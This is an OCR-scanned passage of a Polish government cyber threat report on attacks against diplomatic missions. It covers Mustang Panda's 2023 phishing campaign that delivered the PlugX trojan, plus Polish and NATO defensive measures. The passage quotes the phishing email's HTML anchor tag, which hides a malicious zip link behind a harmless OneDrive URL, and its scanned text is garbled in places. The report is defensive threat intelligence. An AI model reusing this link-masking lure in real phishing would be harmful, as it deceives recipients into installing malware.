z Chinami — to wiasnie hakerzy z tego kraju sa odpowiedzialni za kampanie grupy APTS.

Ataki na placowki dyplomatyczne przypisywane chinskim
grupom APT

Pomimo zaawansowanych mozliwosci technicznych prezentowanych przez grupe
Mustang Panda wydaje sie, ze jej aktywnosc przeciwko Polsce pozostaje na niskim
poziomie. Kampanie phishingowe wymierzone w przedstawicielstwa RP sa
przeprowadzane sporadycznie i zazwyczaj sg czescig operacji na wiekszg skale —
przeciw wielu krajom nalezgcym do NATO. Ten stan rzeczy jest prawdopodobnie
spowodowany tym, ze omawiana grupa APT skupia sie na realizowaniu innych,

wazniejszych zadan.

13 Zrédita: securityweek.com, cyberdefence24.pl, enisa.europa.eu, blogs.blackberry.com (dostep: 31.08.2023 r)
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Jedna z kampanii przypisywanych Mustang Pandzie, ktorej celem byty rowniez polskie
przedstawicielstwa zagraniczne, miata miejsce w lutym 2023 r. Grupa, wykorzystujac
konta pocztowe zatozone w ustudze Outlook.com, dystrybuowata wiadomos¢ majaca
zachecic ofiare do kliknigcia w link oraz pobrania szkodliwego oprogramowania. Jej tresc
dotyczyta prosby o udzielenie informacji na potrzeby miedzynarodowego projektu.
Interesujgcy pozostaje mechanizm uzyty do umieszczenia linku w wiadomosci — w tym
celu napastnik wykorzystat technike polegajaca na ukryciu faktycznego linku pod
tekstem. W przypadku tego zabiegu ofiara spotyka sie zazwyczaj z informacjg ,Kliknij
TUTAJ”, gdzie pod stowem ,TUTAJ” znajduje sie szkodliwy link.

ahref=3D"https://www.mida nsilium.com/Se n IIT of the Work plan of the

Danube Commission for the perlod from 1S January 2023 to 31st December
2023.zip">https://1drv.ms/b/s!AlnWqYjBbeyValey24BS5iYzVmM?e=3DfP4TL5</a

llustracja 13. Tag HTML wykorzystany do wstawienia linku — opracowanie wtasne na podstawie dostepnych danych

W tej kampanii atakujgcy postanowit wygenerowac dwa linki. Pierwszy inicjowat
pobieranie  szkodliwego oprogramowania, natomiast drugi prowadzit do
nieszkodliwego dokumentu umieszczonego w serwisie swiadczacym ustuge
hostowania plikow OneDrive. Zabieg ten zostat wykorzystany do zabezpieczenia
szkodliwego oprogramowania przed zbyt szybkim zdemaskowaniem. By¢ moze
przeciwnik liczyt na to, ze w przypadku przekazywania odnosnika do weryfikacji mnigj
doswiadczony uzytkownik zamiast docelowego linku skopiuje wyswietlany tekst
prowadzacy do nieszkodliwego pliku.
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llustracja 14. Strona OneDrive zawierajaca nieszkodliwy dokument, wyswietlana w przypadku skopiowania linku
— opracowanie wtasne na podstawie dostepnych danych

W przypadku gdy uzytkownik kliknat w link, rozpoczynato sie pobieranie pliku o nazwie
,Section Il of the Work plan of the Danube Commission for the period from IS January
2023 to 3l1st December 2023.zip”. Po rozpakowaniu okazywat sie on kolejng odstong
znanego i wykorzystywanego wczesniej szkodliwego oprogramowania o nazwie PlugX.
Narzedzie to kwalifikowane jest jako RAT (Remote Access Trojan), tj. oprogramowanie
wykorzystywane do przejecia kontroli nad zainfekowanym komputerem oraz
wykradania danych. PlugX stosowany jest rowniez w innych kampaniach Mustang
Pandy. Moze to sugerowac, ze jednym z jego gtownych celow jest wykradanie danych,

ktore mogg sie okaza¢ cennym zrodtem informacji na temat relacji biznesowych
drugiego panstwa lub wykorzystywanych technologii.
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Proaktywne dziatania w celu zapobiegania skutkom atakow na
polskie instytucje rzadowe, w tym placowki dyplomatyczne

Polska prawdopodobnie pozostanie celem atakow grup sponsorowanych przez obce
rzady, w szczegolnosci Rosji. Sg one symptomem dziatan hybrydowych przeciwko
panstwom wspierajgcym Ukraine, wsrod ktérych RP odgrywa szczegolng role.
Aktywnosc tych organizacji moze byc¢ szczegolnie niebezpieczna z uwagi na zblizajace
sie wybory parlamentarne w Polsce (jesien 2023 r). Wprowadzenie stopnia
alarmowego Charlie CRP i jego utrzymywanie od lutego 2022 r. byto odpowiedzig na
rosngcg skale atakow hakerskich i pozwolito sprawniej reagowa¢ na zagrozenia

w cyberprzestrzeni.

2022/2023 - wzrost liczby atakéw
DDoS na serwisy rzadowe oraz

atakdw socjotechnicznych
wymierzonych w politykéw

systemu sterowania
ruchem, brak dostepu

24.02.2022 - do chwili 24/25.06.2023 A

obecnej er :

{ Atak hakerski na :

Wybuch wojny w serwery ZDZiT :

Ukrainie (Zarzadu Drég, Zieleni

15-21.02.2022 : 27.10.2022 i Transportu) w :
ALFA CRP : Atak DDoS na serwery Olsztynie - paraliz :

. Senatu RP

sssssssssnnns
-

. do systemu informacji
E pasazerskiej,
. nieaktywne biletomaty

.!l.lut.--lgl-ooot.oQ.iotlo.no.l|.l!.|0°.nlnoln-|-nlnnl-onal.cl.cl..olo..l.oloooolonl-.-i

CHARLIE CRP
21.02.2022 - do chwili

Atak hakerski -
Akademia Sztuki

obecnej Wojennej
Atak DDo0S na strone 10.07.2023
Atak ransomware podatki.gov.pl o
na LPR (Lotnicze . 28.02.2023
A Prestige ransomware -
Pogotowie na celowniku infrastruktura
Ratunkowe)-

informatyczna polskich
i ukrainskich firm
transportowych
11.10.2022

sparalizowana

tacznos¢, strona
www, poczta e-mail

13/14.02.2022

llustracja 15. Wybrane zdarzenia powigzane z wprowadzeniem stopni alarmowych w kraju
— opracowanie wtasne na podstawie dostepnych danych
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Aktualnie najistotniejsze jest dalsze zabezpieczanie najwazniejszych ustug
i infrastruktury krytycznej panstwa oraz tancucha dostaw (o czym swiadczy przypadek
ransomware Prestige z pazdziernika 2022 r)"™, réwniez pod katem oceny praktyk
bezpieczenstwa stosowanych przez dostawcow oprogramowania. W celu zapewnienia
odpowiedniego poziomu zabezpieczenia infrastruktury teleinformatycznej kraju
konieczne jest stosowanie odpowiednich standardow takich jak Zero Trust, Security by
Design oraz Defense in Depth.

Ministerstwo Cyfryzacji prowadzi liczne dziatania w zakresie przeciwdziatania
zagrozeniom dla cyberbezpieczenstwa RP, m.in.:

» Program Wspotpracy w Cyberbezpieczenstwie (PWCyber) — kooperacja sektora
publicznego i prywatnego. Uczestniczy w nim ponad 30 firm z sektora
technologicznego i sukcesywnie dotgczaja kolejne. W jego ramach organizowane sg
szkolenia i warsztaty oraz nastepuje wymiana wiedzy';

* przygotowywanie cyklicznych opracowan nt. zagrozen w cyberprzestrzeni oraz
organizowanie szkolen dot. security awareness;

» koordynacja dziatarh na poziomie krajowym, m.in. poprzez dostarczanie narzedzi
stuzacych bezpiecznej komunikacji jawnej oraz niejawnej, w tym rowniez
organizowanie cyklicznych spotkan nt. stanu bezpieczenstwa;

e udziat w licznych inicjatywach miedzynarodowych dot. bezpieczenstwa
w cyberprzestrzeni takich jak Counter Ransomware Initiative.

Dzieki zdolnosciom posiadanym przez CSIRT-y na poziomie krajowych komarek
bezpieczenstwa w instytucjach rzadowych, wiedzy i doswiadczeniu pracujgcych tam
ekspertow oraz narzedziom, ktorymi dysponuja te struktury, jestesmy w stanie
zapewnia¢ bezpieczenstwo infrastrukturze teleinformatycznej oraz natychmiast
reagowac na nowe zagrozenia. Ostona placowek dyplomatycznych przed incydentami
naruszajgcymi integralnosc, dostep do danych i poufnosc polega na wyposazaniu tych
instytucji w narzedzia ochrony systemow teleinformatycznych. Na podstawie analiz
dot. funkcjonowania Krajowego Systemu Cyberbezpieczenstwa zostata zauwazona
potrzeba utworzenia podmiotu zajmujacego sie ochrong jednostek podlegtych lub
nadzorowanych przez Ministra Spraw Zagranicznych, jak rowniez samego resortu.
Katalog instytucji, nad ktorych cyberbezpieczenstwem mogtby czuwac obejmowatby
m.in. polskie przedstawicielstwa na catym swiecie, a takze podmioty takie
jak PISM (Polski Instytut Spraw Miedzynarodowych) lub PLSZ (Przychodnia Lekarska

1 Zrodto: https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-
ukraine-and-poland/ (dostep: 31.08.2023 )

15 Zrédto: https://www.gov.pl/web/cyfryzacja/program-wspolpracy-w-cyberbezpieczenstwie-pweyber--partnerstwo-publiczno-
prywatne-na-rzecz-krajowego-systemu-cyberbezpieczenstwa (dostep: 31.08.2023 1)
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Stuzby Zagranicznej)'s. Podmiot taki jak CSIRT INT mogtby wspiera¢ ww. instytucije
w procesie obstugi incydentow, a jego powotfanie odegratoby istotng role
w podniesieniu cyberbezpieczenstwa RP.

Planowane jest dalsze rozwijanie krajowej odpornosci na cyberataki, ze szczegolnym
uwzglednieniem  zabezpieczenia  sektora  rzadowego, w tym  placowek
dyplomatycznych. Jednymi z gtownych celow sg wzmacnianie zespotow Cyber Threat
Intelligence  na  poziomie krajowym (w  kontekscie realizowania dziatan
wyprzedzajgcych) oraz dalszy rozwoj kanatu wymiany informacji nt. nowych zagrozen
miedzy  poszczegolnymi  instytucjami  w  ramach  Krajowego  Systemu
Cyberbezpieczenstwa. Dbanie o cyberbezpieczenstwo to dziatanie zespotowe, dlatego
konieczna jest pogtebiona wspotpraca sektora publicznego i prywatnego, w tym
komorek bezpieczenstwa SOC oraz CSIRT na poziomie krajowym, a takze dzielenie sie
posiadanymi informacjami. Realizowany jest bowiem wspolny cel, ktérym jest

zapewnienie bezpieczenstwa RP i jej obywatelom.

Z uwagi na duzg dynamike dziatan podejmowanych w cyberprzestrzeni informacije
szybko sie dezaktualizujg. W konsekwencji liczy sie szybkie, ale jednoczesnie
przemyslane podejmowanie dziatan w odpowiedzi na dany incydent (zwtaszcza przy
utrudnionej atrybucji). Istotne jest budowanie zespotoéw taczonych (modutowo), co
w przypadku szczegolnie ztozonego incydentu pozwoli na wspotprace specjalistow
z roznych instytucji. Przyktadem takich dziatan sa ¢wiczenia Locked Shields — w edycji
2023 polski zespot po raz kolejny zajat miejsce na podium, m.in. dzieki kooperacji
specjalistow z poszczegolnych instytucji sektora rzadowego i prywatnego.

Majgc na uwadze obecng niestabilng sytuacje na Wschodzie oraz liczne ataki hakerskie
wymierzone w Polske, nalezy wykorzystywac¢ mozliwie jak najkrotsze sciezki decyzyjne,
ktore pozwola na szybkie dziatanie w obliczu zagrozenia. Wskazane jest rowniez
wzmacnianie aktywnej cyberobrony jako dziatan odstraszajgcych przez instytucje do
tego uprawnione.

'® Na podstawie danych ze strony: https:/www.gov.pl/web/dyplomacja/jednostki-podlegle-nadzorowane (dostep: 31.08.2023 1)
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Podsumowanie

.My, Szefowie Panstw i Rzadow Sojuszu Potnocnoatlantyckiego, zwigzani wspolnymi
wartosciami wolnosci jednostki, praw cztowieka, demokracjii rzgdow prawa, zebralismy
sie w Wilnie w zwigzku z toczacg sie wojng na kontynencie europejskim, aby potwierdzic
nasza trwatg transatlantycka wiez, jednosc, spojnosc i solidarnos¢ w krytycznym
momencie dla naszego bezpieczenstwa oraz miedzynarodowego pokoju i stabilnosci.
NATO jest sojuszem obronnym. Jest to jedyne i niezbedne transatlantyckie forum do
konsultowania, koordynowania i dziatania we wszystkich sprawach zwigzanych
z naszym indywidualnym i zbiorowym bezpieczenstwem. Potwierdzamy nasze zelazne
zobowigzanie do obrony siebie nawzajem i kazdego centymetra terytorium Sojuszu
przez caty czas, ochrony miliarda naszych obywateli oraz ochrony naszej wolnosci
i demokracji, zgodnie z artykutem 5 traktatu waszyngtonskiego. Bedziemy nadal
zapewniaC naszg zbiorowg obrone przed wszystkimi zagrozeniami, bez wzgledu na to,
skad one pochodzg, w oparciu o kompleksowe podejscie, aby wypetni¢ trzy
podstawowe zadania NATO: odstraszanie | obrone, zapobieganie kryzysom
i zarzadzanie kryzysowe oraz wspolne bezpieczenstwo”

Szczyt NATO w Wilnie, 1-12 lipca 2023 1.7

Niniejsza  publikacja  pokrotce  charakteryzuje  zagrozenia dla  placowek
dyplomatycznych panstw NATO ze strony wrogich grup hakerskich. Nie sg to
pojedyncze incydenty, lecz dziatanie ciggte, wymierzone w rozne kraje Sojuszu.
Z danych Ministerstwa Cyfryzacji wynika, ze w 2022 r. w Polsce liczba zgtoszonych
incydentow w poréwnaniu z 2021 r. wzrosta w sektorze rzadowym o ok. 62%,
a w sektorze cywilnym o ok. 178%. Liczba atakow typu phishing wzrosta o 61%
w 2022 r. Kolejnym wyzwaniem sg ataki typu DDoS, ktore stanowig w ostatnim czasie
state zagrozenie dla panstw NATO, w tym dla Polski. Ataki majg na celu zaburzanie
dostepnosci stron internetowych, ustug online i serweréw zaréwno w sektorze
rzgdowym jak i prywatnym. W tym aspekcie kluczowe jest dalsze wzmacnianie
infrastruktury teleinformatycznej poszczegolnych instytucji oraz inwestowanie
w narzedzia ochrony anty-DDoS. Znamienne jest takze to, ze tylko przez pierwsze
siedem miesiecy 2023 r. CSIRT NASK obstuzyt wiecej incydentow niz przez caty
2022 r. Obserwowany jest rowniez wzrost popularnosci narzedzi typu cybercrime
i ustug cybercrime-as-a-service (na przyktad mozliwos¢ kupna gotowego ztosliwego
oprogramowania, czy tez ustugi ransomware przez Internet). W tym kontekscie
prognozowane jest utrzymanie wysokiej presji w cyberprzestrzeni pod katem
realizowanych atakow. Obecnie nie da sie stwierdzi¢, czy nastgpi eskalacja dziatan.

17 Zrédito: https://www.nato.int/cps/en/natohg/official_texts_217320.htm (dostep: 31.08.2023 1)
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Mozliwe jest jednak, iz w razie spadku zainteresowania Ukraing jako gtownym celem
atakow nastgpi przekierowanie wigkszej niz dotychczas czesci sit i srodkow na Zachaod.

W tym kontekscie konieczne jest dalsze podejmowanie dziatan prewencyjnych w celu
zabezpieczenia infrastruktury teleinformatycznej, wzmacnianie wspotpracy miedzy
panstwami cztonkowskimi oraz stosowanie nowoczesnych technologii w zwalczaniu
tego typu zagrozen. Obecnie jednym z gtownych zadan jest utrzymanie zdolnosci
obronnej NATO i wzmocnienie wspotpracy w dziedzinie cyberbezpieczenstwa, aby
zapewni¢ skuteczng ochrone przed atakami hakerskimi, ktére moga zagrazac jednosci,
stabilnosci i bezpieczenstwu Sojuszu oraz wartosciom przyswiecajgcym jego istnieniu.

Jako zaangazowany cztonek Sojuszu Potnocnoatlantyckiego RP odgrywa wazng role we
wspieraniu jednosci, spojnosci i solidarnosci w regionie. Jej strategiczne potozenie
geograficzne sprawia, ze petni ona istotng funkcje w obronie wschodniej flanki NATO.
Polska uczestniczy w dziataniach majgcych na celu wspieranie stabilnosci w regionie
i przeciwdziatanie zagrozeniom hybrydowym, w tym atakom hakerskim. Skuteczna
obrona cyberprzestrzeni wymaga zintegrowanego podejscia i wspotdziatania zaréwno
poszczegolnych krajow ze soba, jak i organow rzadowych oraz firm prywatnych, tak aby
,zelazne zobowigzanie do obrony siebie nawzajem i kazdego centymetra terytorium
Sojuszu” pozostato naszym wspolnym, nadrzednym celem.
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